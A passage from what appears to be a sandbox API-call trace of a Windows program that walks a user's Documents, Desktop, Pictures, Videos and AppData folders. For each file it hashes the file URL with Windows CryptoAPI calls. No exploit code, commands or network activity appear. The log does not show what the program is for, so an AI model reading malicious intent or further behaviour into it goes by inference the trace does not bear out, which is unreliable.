	[0099.067] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.067] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.067] wcslen (_String="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 0x32
	[0099.067] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.067] wcslen (_String="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps/") returned 0x33
	[0099.067] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0099.067] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.067] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.067] wcslen (_String="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 0x2f
	[0099.067] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv" | out: _String="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv"
	[0099.067] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.067] wcslen (_String="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 0x2f
	[0099.067] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x60, dwFlags=0x0) returned 1
	[0099.067] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.067] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.067] wcslen (_String="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 0x2f
	[0099.067] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.067] wcslen (_String="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv/") returned 0x30
	[0099.067] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x62, dwFlags=0x0) returned 1
	[0099.067] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.068] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 0x58
	[0099.068] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png"
	[0099.068] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 0x58
	[0099.068] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb2, dwFlags=0x0) returned 1
	[0099.068] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.068] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 0x58
	[0099.068] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png/") returned 0x59
	[0099.068] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xb4, dwFlags=0x0) returned 1
	[0099.068] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.068] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 0x49
	[0099.068] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg"
	[0099.068] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 0x49
	[0099.068] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x94, dwFlags=0x0) returned 1
	[0099.068] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.068] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 0x49
	[0099.068] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.068] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg/") returned 0x4a
	[0099.068] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x96, dwFlags=0x0) returned 1
	[0099.068] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.069] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.069] wcslen (_String="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 0x39
	[0099.069] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx" | out: _String="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx"
	[0099.069] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.069] wcslen (_String="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 0x39
	[0099.069] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.069] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.069] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.069] wcslen (_String="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 0x39
	[0099.069] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.069] wcslen (_String="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx/") returned 0x3a
	[0099.069] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.069] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.069] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.069] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 0x5c
	[0099.069] _wcslwr (in: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv" | out: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv"
	[0099.069] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.069] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 0x5c
	[0099.069] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xba, dwFlags=0x0) returned 1
	[0099.069] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.070] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 0x5c
	[0099.070] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv/") returned 0x5d
	[0099.070] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xbc, dwFlags=0x0) returned 1
	[0099.070] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.070] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 0x5f
	[0099.070] _wcslwr (in: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif" | out: _String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif"
	[0099.070] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 0x5f
	[0099.070] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc0, dwFlags=0x0) returned 1
	[0099.070] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.070] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 0x5f
	[0099.070] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif/") returned 0x60
	[0099.070] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xc2, dwFlags=0x0) returned 1
	[0099.070] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.070] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 0x38
	[0099.070] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt"
	[0099.070] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.070] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 0x38
	[0099.070] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0099.070] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.071] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.071] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 0x38
	[0099.071] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.071] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt/") returned 0x39
	[0099.071] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0099.071] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.071] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.071] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 0x3b
	[0099.071] _wcslwr (in: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv" | out: _String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv"
	[0099.071] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.071] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 0x3b
	[0099.071] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.071] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.071] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.071] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 0x3b
	[0099.071] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.071] wcslen (_String="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv/") returned 0x3c
	[0099.071] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0099.071] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.071] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.071] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 0x4f
	[0099.072] _wcslwr (in: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp" | out: _String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp"
	[0099.072] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.072] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 0x4f
	[0099.072] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xa0, dwFlags=0x0) returned 1
	[0099.072] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.072] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.072] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 0x4f
	[0099.072] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.072] wcslen (_String="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp/") returned 0x50
	[0099.072] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xa2, dwFlags=0x0) returned 1
	[0099.072] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.072] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.072] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 0x74
	[0099.072] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx" | out: _String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx"
	[0099.072] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.072] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 0x74
	[0099.072] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xea, dwFlags=0x0) returned 1
	[0099.072] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.072] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.072] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 0x74
	[0099.072] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.072] wcslen (_String="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx/") returned 0x75
	[0099.072] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0xec, dwFlags=0x0) returned 1
	[0099.072] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.073] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.073] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 0x3f
	[0099.073] _wcslwr (in: _String="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv" | out: _String="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv"
	[0099.073] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.073] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 0x3f
	[0099.073] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x80, dwFlags=0x0) returned 1
	[0099.073] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.073] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.073] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 0x3f
	[0099.073] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.073] wcslen (_String="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv/") returned 0x40
	[0099.073] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x82, dwFlags=0x0) returned 1
	[0099.073] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.073] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.073] wcslen (_String="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 0x3a
	[0099.073] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx" | out: _String="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx"
	[0099.073] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.073] wcslen (_String="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 0x3a
	[0099.073] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0099.073] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.073] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.073] wcslen (_String="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 0x3a
	[0099.073] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.074] wcslen (_String="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx/") returned 0x3b
	[0099.074] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.074] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.074] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.074] wcslen (_String="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 0x2d
	[0099.074] _wcslwr (in: _String="file:///c:/users/aetadzjz/documents/axlrt.csv" | out: _String="file:///c:/users/aetadzjz/documents/axlrt.csv") returned="file:///c:/users/aetadzjz/documents/axlrt.csv"
	[0099.074] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.074] wcslen (_String="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 0x2d
	[0099.074] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x5c, dwFlags=0x0) returned 1
	[0099.074] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.074] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.074] wcslen (_String="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 0x2d
	[0099.074] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.074] wcslen (_String="file:///c:/users/aetadzjz/documents/axlrt.csv/") returned 0x2e
	[0099.074] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x5e, dwFlags=0x0) returned 1
	[0099.074] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.074] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.074] wcslen (_String="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 0x3b
	[0099.074] _wcslwr (in: _String="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv" | out: _String="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv"
	[0099.074] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.074] wcslen (_String="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 0x3b
	[0099.074] CryptHashData (hHash=0x610398, pbData=0x18b100, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0099.074] CryptGetHashParam (in: hHash=0x610398, dwParam=0x2, pbData=0x18b0c4, pdwDataLen=0x18b0dc, dwFlags=0x0 | out: pbData=0x18b0c4, pdwDataLen=0x18b0dc) returned 1
	[0099.122] CryptDestroyHash (hHash=0x610398) returned 1
	[0099.122] wcslen (_String="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 0x3b
	[0099.122] CryptCreateHash (in: hProv=0x60f7d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x18b0e0 | out: phHash=0x18b0e0) returned 1
	[0099.122] wcslen (_String="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv/") returned 0x3c
